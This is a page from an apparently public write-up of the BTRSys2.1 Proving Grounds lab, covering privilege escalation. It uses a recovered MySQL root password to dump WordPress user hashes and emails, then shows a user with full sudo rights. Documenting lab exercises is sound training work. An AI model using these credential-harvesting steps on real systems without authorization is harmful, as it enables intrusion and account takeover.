> For the complete documentation index, see [llms.txt](https://offsecpg.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://offsecpg.adot8.com/proving-grounds/proving-ground-play/get-to-work/btrsys2.1/priv-esc.md).

# Priv Esc

```
root:rootpassword!
```

<figure><img src="https://1332963180-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSBzxWZ0EMDOdQIjKvSn2%2Fuploads%2FHkmF9NLCIAmENSGG4NeN%2Fimage.png?alt=media&amp;token=bda2ce38-0146-45f1-b54c-43286c24d644" alt=""><figcaption></figcaption></figure>

```
www-data@ubuntu:/var/www/html/wordpress$ mysql -u root -p
mysql -u root -p
Enter password: rootpassword!

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 54
Server version: 5.7.17-0ubuntu0.16.04.1 (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| deneme             |
| mysql              |
| performance_schema |
| phpmyadmin         |
| sys                |
| wordpress          |
+--------------------+
7 rows in set (0.04 sec)

mysql> use deneme
use deneme
Database changed
mysql> show tables;
show tables;
Empty set (0.00 sec)

mysql> use wordpress
use wordpress
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;
;
+----------------------------+
| Tables_in_wordpress        |
+----------------------------+
| wp_abtest_experiments      |
| wp_abtest_goal_hits        |
| wp_abtest_goals            |
| wp_abtest_ip_filters       |
| wp_abtest_variation_views  |
| wp_abtest_variations       |
| wp_commentmeta             |
| wp_comments                |
| wp_links                   |
| wp_masta_campaign          |
| wp_masta_cronapi           |
| wp_masta_list              |
| wp_masta_reports           |
| wp_masta_responder         |
| wp_masta_responder_reports |
| wp_masta_settings          |
| wp_masta_subscribers       |
| wp_masta_support           |
| wp_options                 |
| wp_postmeta                |
| wp_posts                   |
| wp_term_relationships      |
| wp_term_taxonomy           |
| wp_terms                   |
| wp_usermeta                |
| wp_users                   |
+----------------------------+
26 rows in set (0.01 sec)

mysql> select * from wp_users;
select * from wp_users;
+----+------------+----------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                        | user_nicename | user_email        | user_url | user_registered     | user_activation_key | user_status | display_name |
+----+------------+----------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+--------------+
|  1 | root       | a318e4507e5a74604aafb45e4741edd3 | btrisk        | mdemir@btrisk.com |          | 2017-04-24 17:37:04 |                     |           0 | btrisk       |
|  2 | admin      | 21232f297a57a5a743894a0e4a801fc3 | admin         | ikaya@btrisk.com  |          | 2017-04-24 17:37:04 |                     |           4 | admin        |
+----+------------+----------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+--------------+
2 rows in set (0.00 sec)

mysql>
```

<figure><img src="https://1332963180-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSBzxWZ0EMDOdQIjKvSn2%2Fuploads%2FNWKUvpw84GSN80gv4Nku%2Fimage.png?alt=media&amp;token=23718ed2-96e9-4a23-9181-5b7e39eace7d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1332963180-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSBzxWZ0EMDOdQIjKvSn2%2Fuploads%2FujslZxDqPeWSbgiTXqch%2Fimage.png?alt=media&amp;token=288d4512-00b9-4735-bf80-1d673cc3b542" alt=""><figcaption></figcaption></figure>

```
btrisk@ubuntu:/var/www/html/wordpress$ sudo -l
sudo -l
Matching Defaults entries for btrisk on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User btrisk may run the following commands on ubuntu:
    (ALL : ALL) ALL
    (ALL : ALL) ALL

```

<figure><img src="https://1332963180-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSBzxWZ0EMDOdQIjKvSn2%2Fuploads%2FDZ0A61Z5LjOQ97IrrA8p%2Fimage.png?alt=media&amp;token=d81a40ea-a27f-4349-aec5-6dc3fcd89477" alt=""><figcaption></figcaption></figure>
